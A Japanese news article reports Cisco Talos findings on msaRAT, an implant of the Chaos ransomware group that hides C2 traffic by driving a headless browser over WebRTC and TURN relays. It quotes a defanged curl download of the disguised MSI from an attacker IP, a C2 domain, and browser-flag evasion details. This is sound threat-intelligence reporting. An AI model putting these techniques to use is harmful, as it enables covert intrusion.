Chaosランサムウェア、ヘッドレスブラウザとWebRTCを悪用してC2通信を隠蔽する新インプラント「msaRAT」を使用

要点

• Chaosランサムウェアグループが、暗号化の前にC2（コマンド＆コントロール）通信を隠蔽するため、Rust製のインプラント「msaRAT」を使用している。
• msaRAT自体は外部への直接接続を行わず、被害者マシンのGoogle ChromeやMicrosoft Edgeをヘッドレスモードで起動し、ブラウザを介して通信を行う。
• C2通信はTwilioのTURNサービスが中継するWebRTCのデータチャネルを通過するため、防御側には通常のブラウザ通信にしか見えず、攻撃者のサーバーIPは検出されない。
• この手法はブラウザの脆弱性に依存しないため修正パッチが存在せず、Chrome 136によるデバッグポート制限に対しても、独自のプロファイルディレクトリを使用することで回避している。
• msaRATはWindowsアップデートを偽装したMSIファイルとしてダウンロードされ、カスタムアクションによってメモリ上のDLLから直接起動される。

リード

シスコシステムズ（Cisco）の脅威インテリジェンス部門「Cisco Talos」は2026年7月23日、Chaosランサムウェアグループが標的マシンのブラウザを悪用してC2通信を中継させる新たなインプラント「msaRAT」の詳細を公表した。このRust製インプラントは、被害者マシン上のGoogle ChromeやMicrosoft Edgeをヘッドレスモードで起動し、WebRTC技術を利用して攻撃側のサーバーと通信を確立する。正規のブラウザ通信を装うことで、従来のセキュリティ監視による検知を回避する設計となっている。

本文

被害者のブラウザをリモート制御して通信する仕組み

Cisco Talosの報告によると、msaRATは感染マシンに侵入した後、自身で直接外部に向けたネットワーク接続を行うことはない。このインプラントのプロセスはローカルホスト（127.0.0.1）のみと通信するという。

外部のC2サーバーと通信する際、msaRATは被害者システム上のGoogle ChromeまたはMicrosoft Edgeを探索する。環境変数やレジストリからブラウザを特定すると、ウィンドウを表示しないヘッドレスモード（--headless=new）でブラウザを起動。デバッグ用APIであるChrome DevTools Protocol（CDP）を有効化し（--remote-debugging-port）、ブラウザを遠隔操作できる状態にする。

Googleは、情報窃取マルウェアによるCookieの盗難を防ぐため、2025年3月にアナウンスした「Chrome 136」以降、デフォルトのユーザープロファイルに対するリモートデバッグの適用を制限している。しかし、msaRATは独自のプロファイルディレクトリ（--user-data-dir）を指定してブラウザを起動するため、このセキュリティ制限を回避できる。なお、msaRATが被害者の元のプロファイルにアクセスした形跡は確認されていない。

WebRTCとTURNサービスによる検知回避

起動したヘッドレスブラウザに対し、msaRATはWebSocket経由のCDP制御を用いてコンテンツセキュリティポリシー（CSP）を無効化（Page.setBypassCSP）し、さらに Runtime.addBinding を使用して5つのコールバック（msaOpen、msaClose、msaError、msaMessage、および dataAck）を登録する。

続いて、バイナリの .rdata セクションに平文で埋め込まれているJavaScriptを Runtime.evaluate でブラウザ内に注入する。このJavaScriptは、OriginやRefererヘッダーをマイクロソフトの公式サイトに偽装しながら、Cloudflare Worker（is-01-ast[.]ols-img-12[.]workers[.]dev）からSTUN/TURN設定を取得し、ピア接続を構築する。

この接続は、すべての通信をTwilioのTURNリレーサービス（global.turn.twilio.com）へ経由させるよう制御される。そのため、防御側のログには正規のブラウザからCloudflareやTwilioへの通信としか記録されず、攻撃者のサーバーアドレスは隠蔽される。データチャネルが確立されると、Cloudflare Workerは通信経路から離脱する。なお、データチャネル上のトラフィックは、DTLS暗号化に加えてECDH鍵共有によるChaCha-Poly1305で二重に暗号化される。

コマンド実行とデータの持ち出し

msaRATは、確立されたデータチャネルを通じてコマンドを受け取ると、標的のWindows上で cmd.exe /e:ON /v:OFF /d /c <コマンド> を実行し、結果を攻撃者に送り返す。また、インプラントの送信キューとフロー制御は、スクリーンショットやファイルなどの大容量データを確実に送信できるように設計されているという。

WebRTCのデータチャネルやTURNインフラを悪用した通信技術自体は完全に新しいものではない。2025年8月にはPraetorianがWeb会議プラットフォームのTURNインフラを利用したC2チャネルの構築手法を発表しており、2026年3月にはSansecがWebRTCデータチャネルを使用してクレジットカード情報を盗み出す「WebRTCスキマー」を検出した事例がある。msaRATは、これらの技術をRust製のインプラントとCDPによるヘッドレスブラウザ制御に組み合わせた実例となる。

侵入経路と展開手法

msaRATが標的マシンに到達する具体的な侵入経路について、Cisco Talosは明らかにしていない。しかし、Chaosグループの一般的な手法として、スパムメールの大量送信やビッシング（音声フィッシング）、Microsoftの「クイック アシスト」機能の悪用、永続性の確立を目的としたRMM（リモート監視・管理）ツールの悪用などが知られているという。

本インプラントのダウンロード自体は、以下のような単純なcurlコマンドを実行することで行われる。
curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi

プロトコルの検査を行わずポート番号（443）のみで通信を許可しているファイアウォールルールでは、このHTTP通信が通過してしまう。ダウンロードされるMSIファイルはWindowsのアップデートを偽装しており、インストールの最後にカスタムアクションを実行して、内包するDLLをメモリに直接ロードする。このDLLはRustのTokio非同期ランタイムで開発されており、RUN という関数をエクスポートしている。

補足

msaRATはすでにシステムが侵入された後に実行されるポストコンプロマイズ（侵害後）型のマルウェアであり、ブラウザ自体の脆弱性を悪用するものではない。そのため、ユーザーがブラウザに修正パッチを適用してもこの通信手法を防ぐことはできないと指摘されている。防衛側は、一般的ではない親プロセスから起動されたChromeやEdgeの異常な挙動を追跡するなど、プロセス動作の監視を強化する必要がある。